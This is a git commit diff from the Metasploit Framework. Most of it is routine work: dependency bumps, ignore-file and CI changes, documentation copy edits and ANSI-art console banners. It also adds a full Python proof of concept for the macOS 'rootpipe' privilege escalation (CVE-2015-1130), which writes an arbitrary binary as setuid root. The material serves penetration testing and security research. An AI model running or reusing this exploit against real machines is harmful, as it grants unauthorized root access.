commit
a07b68d06b
|
@ -67,17 +67,7 @@ external/source/exploits/**/Release
|
||||||
|
|
||||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||||
# the meterpreter_bins gem.
|
# the meterpreter_bins gem.
|
||||||
data/meterpreter/elevator.*.dll
|
data/meterpreter/*.dll
|
||||||
data/meterpreter/ext_server_espia.*.dll
|
|
||||||
data/meterpreter/ext_server_extapi.*.dll
|
|
||||||
data/meterpreter/ext_server_incognito.*.dll
|
|
||||||
data/meterpreter/ext_server_kiwi.*.dll
|
|
||||||
data/meterpreter/ext_server_lanattacks.*.dll
|
|
||||||
data/meterpreter/ext_server_mimikatz.*.dll
|
|
||||||
data/meterpreter/ext_server_priv.*.dll
|
|
||||||
data/meterpreter/ext_server_stdapi.*.dll
|
|
||||||
data/meterpreter/metsrv.*.dll
|
|
||||||
data/meterpreter/screenshot.*.dll
|
|
||||||
|
|
||||||
# Avoid checking in Meterpreter libs that are built from
|
# Avoid checking in Meterpreter libs that are built from
|
||||||
# private source. If you're interested in this functionality,
|
# private source. If you're interested in this functionality,
|
||||||
|
|
|
@ -38,3 +38,6 @@ branches:
|
||||||
except:
|
except:
|
||||||
- gh-pages
|
- gh-pages
|
||||||
- metakitty
|
- metakitty
|
||||||
|
|
||||||
|
addons:
|
||||||
|
postgresql: '9.3'
|
|
@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
|
||||||
world -- a better place!
|
world -- a better place!
|
||||||
|
|
||||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
||||||
Please try to be as specific as you can about your problem, include steps
|
Please try to be as specific as you can about your problem; include steps
|
||||||
to reproduce (cut and paste from your console output if it's helpful), and
|
to reproduce (cut and paste from your console output if it's helpful) and
|
||||||
what you were expecting to happen.
|
what you were expecting to happen.
|
||||||
|
|
||||||
Are you about to report a security vulnerability in Metasploit itself?
|
Are you about to report a security vulnerability in Metasploit itself?
|
||||||
|
@ -18,7 +18,7 @@ Metasploit module? If so, read on...
|
||||||
|
|
||||||
# Contributing to Metasploit
|
# Contributing to Metasploit
|
||||||
|
|
||||||
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
|
What you see here in CONTRIBUTING.md is a bullet point list of the do's
|
||||||
and don'ts of how to make sure *your* valuable contributions actually
|
and don'ts of how to make sure *your* valuable contributions actually
|
||||||
make it into Metasploit's master branch.
|
make it into Metasploit's master branch.
|
||||||
|
|
||||||
|
@ -27,7 +27,7 @@ closed. Sorry!
|
||||||
|
|
||||||
This is intended to be a **short** list. The [wiki] is much more
|
This is intended to be a **short** list. The [wiki] is much more
|
||||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||||
look at the standard [development environment setup] guide,
|
look at the standard [development environment setup] guide
|
||||||
and Metasploit's [Common Coding Mistakes].
|
and Metasploit's [Common Coding Mistakes].
|
||||||
|
|
||||||
## Code Contributions
|
## Code Contributions
|
||||||
|
@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||||
#### New Modules
|
#### New Modules
|
||||||
|
|
||||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
|
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||||
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
|
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||||
* **Don't** include more than one module per pull request.
|
* **Don't** include more than one module per pull request.
|
||||||
|
|
||||||
|
@ -80,11 +80,11 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||||
* **Don't** file duplicate reports - search for your bug before filing a new report.
|
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||||
|
|
||||||
If you need some more guidance, talk to the main body of open
|
If you need some more guidance, talk to the main body of open
|
||||||
source contributors over on the [Freenode IRC channel]
|
source contributors over on the [Freenode IRC channel],
|
||||||
or e-mail us at [metasploit-hackers] mailing list.
|
or e-mail us at the [metasploit-hackers] mailing list.
|
||||||
|
|
||||||
Also, **thank you** for taking the few moments to read this far! You're
|
Also, **thank you** for taking the few moments to read this far! You're
|
||||||
already way ahead of the curve, so keep it up!
|
already way ahead of the curve, so keep it up!
|
||||||
|
@ -92,7 +92,7 @@ already way ahead of the curve, so keep it up!
|
||||||
[Issue Tracker]:http://r-7.co/MSF-BUGv1
|
[Issue Tracker]:http://r-7.co/MSF-BUGv1
|
||||||
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
|
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
|
||||||
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
|
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
|
||||||
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||||
[development environment setup]:http://r-7.co/MSF-DEV
|
[development environment setup]:http://r-7.co/MSF-DEV
|
||||||
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||||
|
@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
|
||||||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||||
[API]:https://rapid7.github.io/metasploit-framework/api/
|
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||||
[RSpec]:http://rspec.info/
|
[RSpec]:http://rspec.info
|
||||||
[Better Specs]:http://betterspecs.org/
|
[Better Specs]:http://betterspecs.org
|
||||||
[YARD]:http://yardoc.org/
|
[YARD]:http://yardoc.org
|
||||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||||
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||||
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
|
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
|
||||||
|
|
40
Gemfile.lock
40
Gemfile.lock
|
@ -7,9 +7,9 @@ PATH
|
||||||
bcrypt
|
bcrypt
|
||||||
jsobfu (~> 0.2.0)
|
jsobfu (~> 0.2.0)
|
||||||
json
|
json
|
||||||
metasploit-concern (~> 0.3.0)
|
metasploit-concern (= 0.4.0)
|
||||||
metasploit-model (~> 0.29.0)
|
metasploit-model (~> 0.29.0)
|
||||||
meterpreter_bins (= 0.0.16)
|
meterpreter_bins (= 0.0.22)
|
||||||
msgpack
|
msgpack
|
||||||
nokogiri
|
nokogiri
|
||||||
packetfu (= 1.1.9)
|
packetfu (= 1.1.9)
|
||||||
|
@ -22,9 +22,9 @@ PATH
|
||||||
tzinfo
|
tzinfo
|
||||||
metasploit-framework-db (4.11.0.pre.dev)
|
metasploit-framework-db (4.11.0.pre.dev)
|
||||||
activerecord (>= 3.2.21, < 4.0.0)
|
activerecord (>= 3.2.21, < 4.0.0)
|
||||||
metasploit-credential (~> 0.14.3)
|
metasploit-credential (= 0.14.5)
|
||||||
metasploit-framework (= 4.11.0.pre.dev)
|
metasploit-framework (= 4.11.0.pre.dev)
|
||||||
metasploit_data_models (~> 0.23.0)
|
metasploit_data_models (= 0.24.0)
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||||
metasploit-framework (= 4.11.0.pre.dev)
|
metasploit-framework (= 4.11.0.pre.dev)
|
||||||
|
@ -101,45 +101,45 @@ GEM
|
||||||
gherkin (2.11.6)
|
gherkin (2.11.6)
|
||||||
json (>= 1.7.6)
|
json (>= 1.7.6)
|
||||||
hike (1.2.3)
|
hike (1.2.3)
|
||||||
i18n (0.6.11)
|
i18n (0.7.0)
|
||||||
journey (1.0.4)
|
journey (1.0.4)
|
||||||
jsobfu (0.2.1)
|
jsobfu (0.2.1)
|
||||||
rkelly-remix (= 0.0.6)
|
rkelly-remix (= 0.0.6)
|
||||||
json (1.8.1)
|
json (1.8.2)
|
||||||
mail (2.5.4)
|
mail (2.5.4)
|
||||||
mime-types (~> 1.16)
|
mime-types (~> 1.16)
|
||||||
treetop (~> 1.4.8)
|
treetop (~> 1.4.8)
|
||||||
metasploit-concern (0.3.0)
|
metasploit-concern (0.4.0)
|
||||||
activesupport (~> 3.0, >= 3.0.0)
|
activesupport (~> 3.0, >= 3.0.0)
|
||||||
railties (< 4.0.0)
|
railties (< 4.0.0)
|
||||||
metasploit-credential (0.14.3)
|
metasploit-credential (0.14.5)
|
||||||
metasploit-concern (~> 0.3.0)
|
metasploit-concern (= 0.4.0)
|
||||||
metasploit-model (~> 0.29.0)
|
metasploit-model (~> 0.29.0)
|
||||||
metasploit_data_models (~> 0.23.0)
|
metasploit_data_models (= 0.24.0)
|
||||||
pg
|
pg
|
||||||
railties (< 4.0.0)
|
railties (< 4.0.0)
|
||||||
rubyntlm
|
rubyntlm
|
||||||
rubyzip (~> 1.1)
|
rubyzip (~> 1.1)
|
||||||
metasploit-model (0.29.0)
|
metasploit-model (0.29.2)
|
||||||
activesupport
|
activesupport
|
||||||
railties (< 4.0.0)
|
railties (< 4.0.0)
|
||||||
metasploit_data_models (0.23.1)
|
metasploit_data_models (0.24.0)
|
||||||
activerecord (>= 3.2.13, < 4.0.0)
|
activerecord (>= 3.2.13, < 4.0.0)
|
||||||
activesupport
|
activesupport
|
||||||
arel-helpers
|
arel-helpers
|
||||||
metasploit-concern (~> 0.3.0)
|
metasploit-concern (= 0.4.0)
|
||||||
metasploit-model (~> 0.29.0)
|
metasploit-model (~> 0.29.0)
|
||||||
pg
|
pg
|
||||||
railties (< 4.0.0)
|
railties (< 4.0.0)
|
||||||
recog (~> 1.0)
|
recog (~> 1.0)
|
||||||
meterpreter_bins (0.0.16)
|
meterpreter_bins (0.0.22)
|
||||||
method_source (0.8.2)
|
method_source (0.8.2)
|
||||||
mime-types (1.25.1)
|
mime-types (1.25.1)
|
||||||
mini_portile (0.6.1)
|
mini_portile (0.6.2)
|
||||||
msgpack (0.5.11)
|
msgpack (0.5.11)
|
||||||
multi_json (1.0.4)
|
multi_json (1.0.4)
|
||||||
network_interface (0.0.1)
|
network_interface (0.0.1)
|
||||||
nokogiri (1.6.5)
|
nokogiri (1.6.6.2)
|
||||||
mini_portile (~> 0.6.0)
|
mini_portile (~> 0.6.0)
|
||||||
packetfu (1.1.9)
|
packetfu (1.1.9)
|
||||||
pcaprub (0.11.3)
|
pcaprub (0.11.3)
|
||||||
|
@ -154,7 +154,7 @@ GEM
|
||||||
rack (>= 0.4)
|
rack (>= 0.4)
|
||||||
rack-ssl (1.3.4)
|
rack-ssl (1.3.4)
|
||||||
rack
|
rack
|
||||||
rack-test (0.6.2)
|
rack-test (0.6.3)
|
||||||
rack (>= 1.0)
|
rack (>= 1.0)
|
||||||
rails (3.2.21)
|
rails (3.2.21)
|
||||||
actionmailer (= 3.2.21)
|
actionmailer (= 3.2.21)
|
||||||
|
@ -175,9 +175,9 @@ GEM
|
||||||
rb-readline-r7 (0.5.2.0)
|
rb-readline-r7 (0.5.2.0)
|
||||||
rdoc (3.12.2)
|
rdoc (3.12.2)
|
||||||
json (~> 1.4)
|
json (~> 1.4)
|
||||||
recog (1.0.16)
|
recog (1.0.27)
|
||||||
nokogiri
|
nokogiri
|
||||||
redcarpet (3.1.2)
|
redcarpet (3.2.3)
|
||||||
rkelly-remix (0.0.6)
|
rkelly-remix (0.0.6)
|
||||||
robots (0.10.1)
|
robots (0.10.1)
|
||||||
rspec (2.99.0)
|
rspec (2.99.0)
|
||||||
|
@ -219,7 +219,7 @@ GEM
|
||||||
treetop (1.4.15)
|
treetop (1.4.15)
|
||||||
polyglot
|
polyglot
|
||||||
polyglot (>= 0.3.1)
|
polyglot (>= 0.3.1)
|
||||||
tzinfo (0.3.42)
|
tzinfo (0.3.43)
|
||||||
xpath (2.0.0)
|
xpath (2.0.0)
|
||||||
nokogiri (~> 1.3)
|
nokogiri (~> 1.3)
|
||||||
yard (0.8.7.4)
|
yard (0.8.7.4)
|
||||||
|
|
12
README.md
12
README.md
|
@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
|
||||||
The Metasploit Framework is released under a BSD-style license. See
|
The Metasploit Framework is released under a BSD-style license. See
|
||||||
COPYING for more details.
|
COPYING for more details.
|
||||||
|
|
||||||
The latest version of this software is available from https://metasploit.com/
|
The latest version of this software is available from: https://metasploit.com
|
||||||
|
|
||||||
Bug tracking and development information can be found at:
|
Bug tracking and development information can be found at:
|
||||||
https://github.com/rapid7/metasploit-framework
|
https://github.com/rapid7/metasploit-framework
|
||||||
|
@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
|
||||||
Installing
|
Installing
|
||||||
--
|
--
|
||||||
|
|
||||||
Generally, you should use [the free installer](https://www.metasploit.com/download)
|
Generally, you should use [the free installer](https://www.metasploit.com/download),
|
||||||
which contains all dependencies and will get you up and running with a
|
which contains all of the dependencies and will get you up and running with a
|
||||||
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
||||||
you'd like to deal with dependencies on your own.
|
you'd like to deal with dependencies on your own.
|
||||||
|
|
||||||
|
@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
|
||||||
|
|
||||||
Contributing
|
Contributing
|
||||||
--
|
--
|
||||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
|
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
|
||||||
walk you through the whole process starting from installing all the
|
walk you through the whole process from installing all the
|
||||||
dependencies, to cloning the repository, and finally to submitting a
|
dependencies, to cloning the repository, and finally to submitting a
|
||||||
pull request. For slightly more info, see
|
pull request. For slightly more information, see
|
||||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||||
|
|
||||||
|
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,73 @@
|
||||||
|
########################################################
|
||||||
|
#
|
||||||
|
# PoC exploit code for rootpipe (CVE-2015-1130)
|
||||||
|
#
|
||||||
|
# Created by Emil Kvarnhammar, TrueSec
|
||||||
|
#
|
||||||
|
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
|
||||||
|
#
|
||||||
|
########################################################
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import platform
|
||||||
|
import re
|
||||||
|
import ctypes
|
||||||
|
import objc
|
||||||
|
import sys
|
||||||
|
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
|
||||||
|
from Foundation import NSAutoreleasePool
|
||||||
|
|
||||||
|
def load_lib(append_path):
|
||||||
|
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
|
||||||
|
|
||||||
|
def use_old_api():
|
||||||
|
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
|
||||||
|
|
||||||
|
|
||||||
|
args = sys.argv
|
||||||
|
|
||||||
|
if len(args) != 3:
|
||||||
|
print "usage: exploit.py source_binary dest_binary_as_root"
|
||||||
|
sys.exit(-1)
|
||||||
|
|
||||||
|
source_binary = args[1]
|
||||||
|
dest_binary = os.path.realpath(args[2])
|
||||||
|
|
||||||
|
if not os.path.exists(source_binary):
|
||||||
|
raise Exception("file does not exist!")
|
||||||
|
|
||||||
|
pool = NSAutoreleasePool.alloc().init()
|
||||||
|
|
||||||
|
attr = NSMutableDictionary.alloc().init()
|
||||||
|
attr.setValue_forKey_(04777, NSFilePosixPermissions)
|
||||||
|
data = NSData.alloc().initWithContentsOfFile_(source_binary)
|
||||||
|
|
||||||
|
print "will write file", dest_binary
|
||||||
|
|
||||||
|
if use_old_api():
|
||||||
|
adm_lib = load_lib("/Admin.framework/Admin")
|
||||||
|
Authenticator = objc.lookUpClass("Authenticator")
|
||||||
|
ToolLiaison = objc.lookUpClass("ToolLiaison")
|
||||||
|
SFAuthorization = objc.lookUpClass("SFAuthorization")
|
||||||
|
|
||||||
|
authent = Authenticator.sharedAuthenticator()
|
||||||
|
authref = SFAuthorization.authorization()
|
||||||
|
|
||||||
|
# authref with value nil is not accepted on OS X <= 10.8
|
||||||
|
authent.authenticateUsingAuthorizationSync_(authref)
|
||||||
|
st = ToolLiaison.sharedToolLiaison()
|
||||||
|
tool = st.tool()
|
||||||
|
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
|
||||||
|
else:
|
||||||
|
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
|
||||||
|
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
|
||||||
|
client = WriteConfigClient.sharedClient()
|
||||||
|
client.authenticateUsingAuthorizationSync_(None)
|
||||||
|
tool = client.remoteProxy()
|
||||||
|
|
||||||
|
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
|
||||||
|
|
||||||
|
|
||||||
|
print "Done!"
|
||||||
|
|
||||||
|
del pool
|
|
@ -0,0 +1,35 @@
|
||||||
|
[0m[0m _________________________________________________ [0m
|
||||||
|
[0m< This console just got 20% cooler[0m >[0m
|
||||||
|
[0m ------------------------------------------------- [0m[00m
|
||||||
|
[0m/[0m[00m
|
||||||
|
[0m/[0m [00m
|
||||||
|
[38;5;74m▀▄▄▄▄▄▄▄▄[39m [0m/[0m [00m
|
||||||
|
[38;5;74m▀▀[48;5;54m▄▄▄▄▄[48;5;74m█[38;5;54m▄▄▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||||
|
[38;5;74m▄[48;5;74m███[38;5;113m▄▄[38;5;229m▄▄[38;5;74m██[48;5;54m▄[38;5;54m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||||
|
[38;5;74m▄[48;5;74m██[38;5;113m▄[48;5;113m█[38;5;229m▄▄[48;5;229m█[38;5;209m▄▄[38;5;229m██[48;5;74;38;5;113m▄[38;5;74m█[48;5;54;38;5;54m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||||
|
[38;5;74m▄[48;5;74m█[48;5;113;38;5;113m█[38;5;229m▄[48;5;229m███[48;5;209;38;5;209m██[38;5;203m▄[38;5;209m██[48;5;229m▄[48;5;113;38;5;229m▄[48;5;74;38;5;74m█[38;5;54m▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||||
|
[38;5;74m▄[48;5;74m█[48;5;113;38;5;113m██[48;5;229;38;5;229m███[48;5;209;38;5;209m█[38;5;203m▄[48;5;203m██[38;5;74m▄[49m▀▀[48;5;209m▄[48;5;113;38;5;229m▄[48;5;74;38;5;74m██[49;39m [0m/[0m [00m
|
||||||
|
[48;5;74;38;5;74m██[48;5;113;38;5;113m██[48;5;229;38;5;229m██[48;5;209;38;5;209m██[48;5;203;38;5;203m█[48;5;74;38;5;74m█[48;5;203m▄[48;5;74;38;5;209m▄[49;38;5;74m▄[39m [48;5;74;38;5;74m█[48;5;209;38;5;209m█[48;5;74;38;5;113m▄[38;5;74m█[49;39m [0m/[0m [00m
|
||||||
|
[48;5;74;38;5;74m██[48;5;113m▄[38;5;113m█[48;5;229;38;5;229m██[48;5;209;38;5;74m▄[48;5;203;38;5;203m██[48;5;74;38;5;74m█[49;39m [38;5;74m▀▀[39m [48;5;74;38;5;74m█[48;5;203;38;5;203m█[48;5;113;38;5;113m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||||
|
[38;5;74m▀[48;5;74m██[48;5;113;38;5;113m█[48;5;229m▄[38;5;229m█[48;5;74;38;5;74m█[48;5;203;38;5;203m█[38;5;74m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||||
|
[38;5;74m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;229;38;5;229m█[48;5;74;38;5;74m█[48;5;209m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;113;38;5;209m▄[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||||
|
[48;5;74;38;5;74m█[48;5;113;38;5;113m█[48;5;229;38;5;74m▄[49m▀[48;5;74m█[49;39m [38;5;74m▄▄[48;5;74;38;5;117m▄▄▄▄[49;38;5;74m▄▄[39m [0m/[0m [00m
|
||||||
|
[38;5;74m▀[48;5;113m▄[48;5;74m█[49;39m [38;5;74m▀[39m [38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[38;5;231m▄[38;5;117m██████[48;5;74m▄[49;38;5;74m▄[39m [0m/[0m [00m
|
||||||
|
[38;5;74m▀[48;5;74m█[49;39m [48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;203;38;5;203m█[48;5;231;38;5;229m▄[38;5;231m██[48;5;117;38;5;117m██████[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||||
|
[38;5;74m▄[48;5;74m█[48;5;117;38;5;117m█[48;5;203;38;5;203m█[48;5;229;38;5;117m▄[48;5;74m▄[48;5;117m████████[48;5;74;38;5;74m█[49;39m [0m/[0m [00m
|
||||||
|
[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m████[38;5;74m▄[38;5;117m██████[38;5;74m▄[49m▀[39m [0m/[0m [00m
|
||||||
|
[48;5;74;38;5;74m█[48;5;117;38;5;117m███[48;5;74;38;5;74m█[48;5;117m▄▄[48;5;74m█[48;5;117;38;5;117m███████[48;5;74;38;5;74m█[49;39m [00m
|
||||||
|
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m███[38;5;74m▄[49m▀[39m [48;5;74;38;5;74m█[48;5;117m▄[38;5;117m██████[48;5;74;38;5;74m█[49;39m [38;5;74m▄▄▄[48;5;74;38;5;203m▄▄▄[49;38;5;74m▄▄▄[39m [00m
|
||||||
|
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m████[48;5;74;38;5;74m█[49;39m [38;5;74m▄[48;5;74m█[38;5;117m▄[48;5;117m██[38;5;74m▄[38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74m▄[38;5;74m█[38;5;229m▄[48;5;229m█[48;5;209m▄▄[38;5;209m██[48;5;203m▄▄[38;5;203m██[48;5;74m▄[38;5;74m█[49m▀[39m [00m
|
||||||
|
[38;5;74m▀[48;5;117m▄[38;5;117m██[38;5;74m▄[49m▀▄[48;5;74;38;5;117m▄▄[48;5;117m███[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;110;38;5;74m▄[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;229m▄▄[38;5;229m███[48;5;209m▄▄[38;5;209m███[48;5;203m▄[38;5;74m▄[48;5;74;38;5;203m▄[49;39m [00m
|
||||||
|
[38;5;74m▀▀[39m [38;5;74m▄[48;5;74m█[48;5;117;38;5;117m████[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m████[48;5;74m▄▄[48;5;229;38;5;74m▄[38;5;229m██[38;5;74m▄[48;5;209;38;5;229m▄[38;5;209m██[48;5;74;38;5;74m█[49m▀[48;5;209m▄[49;39m [00m
|
||||||
|
[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117m▄[48;5;74m█[48;5;117;38;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m███[38;5;16m▄[48;5;16;38;5;231m▄▄[48;5;74;38;5;16m▄[48;5;117;38;5;74m▄[38;5;117m█[48;5;74m▄[48;5;229;38;5;74m▄[48;5;74;38;5;117m▄[38;5;16m▄[48;5;229;38;5;74m▄[48;5;209;38;5;209m██[48;5;74;38;5;74m█[49;39m [00m
|
||||||
|
[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[38;5;117m▄[38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m██[48;5;16;38;5;117m▄[38;5;74m▄[48;5;231;38;5;231m████[48;5;16m▄[48;5;117;38;5;16m▄[38;5;117m██[48;5;16;38;5;74m▄[48;5;231;38;5;231m█[48;5;16;38;5;16m█[49m▀[48;5;209;38;5;74m▄[38;5;209m█[48;5;74;38;5;74m█[49;39m [00m
|
||||||
|
[38;5;74m▀▀[48;5;117m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m█[38;5;74m▄[48;5;74m██[48;5;117;38;5;117m██[48;5;231;38;5;231m██[38;5;168m▄[48;5;168;38;5;231m▄[48;5;231;38;5;168m▄[48;5;16;38;5;16m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;168;38;5;231m▄[48;5;231;38;5;168m▄[49;39m [38;5;74m▀▀▀[39m [00m
|
||||||
|
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m█[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m██[48;5;113;38;5;113m█[48;5;74m▄[48;5;117;38;5;74m▄[38;5;117m█[48;5;231m▄[48;5;168;38;5;231m▄[48;5;16;38;5;168m▄[48;5;168;38;5;231m▄[48;5;16;38;5;117m▄[48;5;117m██[48;5;74m▄[48;5;16;38;5;74m▄[48;5;168m▄[49;39m [00m
|
||||||
|
[48;5;74;38;5;74m█[48;5;117;38;5;117m█[38;5;74m▄[48;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m███[48;5;113m▄[48;5;74;38;5;113m▄[48;5;117;38;5;74m▄[38;5;117m█████████[48;5;74;38;5;74m█[49;39m [00m
|
||||||
|
[38;5;74m▀▀[39m [48;5;74;38;5;74m█[48;5;117m▄[48;5;74m█[48;5;117;38;5;117m██[48;5;74;38;5;74m█[49;39m [48;5;74;38;5;74m█[48;5;54;38;5;54m█[48;5;74;38;5;74m█[48;5;113m▄[38;5;113m█[48;5;74;38;5;110m▄[48;5;117;38;5;74m▄▄▄▄▄▄[49m▀▀[39m [00m
|
||||||
|
[38;5;74m▄[48;5;74;38;5;117m▄[48;5;117m███[48;5;74;38;5;74m█[49;39m [48;5;54;38;5;54m█[48;5;74;38;5;74m███[48;5;110m▄[38;5;110m█[48;5;67;38;5;67m█[49;39m [00m
|
||||||
|
[38;5;74m▀[48;5;117m▄[38;5;117m███[48;5;74;38;5;74m█[49;39m [48;5;54;38;5;54m█[48;5;74;38;5;74m█[38;5;110m▄[38;5;74m█[48;5;110;38;5;110m█[48;5;67;38;5;67m█[49;39m [00m
|
||||||
|
[38;5;74m▀[48;5;117m▄▄[49m▀[39m [48;5;54;38;5;54m█[48;5;74;38;5;74m█[49;38;5;67m▀[48;5;74;38;5;74m█[49;38;5;67m▀▀[39m [00m
|
||||||
|
[48;5;74;38;5;74m█[49;39m [00m
|
|
@ -0,0 +1,31 @@
|
||||||
|
[0m[0m __________________ [0m
|
||||||
|
[0m< Shells are cool.[0m >[0m
|
||||||
|
[0m ------------------ [0m[00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[0m\[0m [00m
|
||||||
|
[0m\[0m [38;5;52m▄▄▄▄▄▄▄▄▄[39m [00m
|
||||||
|
[48;5;52;38;5;52m█[48;5;88;38;5;88m█████████[48;5;52;38;5;52m█[49;39m [00m
|
||||||
|
[38;5;52m▄[48;5;52;38;5;88m▄[48;5;88m█████████[48;5;52;38;5;52m█[49;39m [00m
|
||||||
|
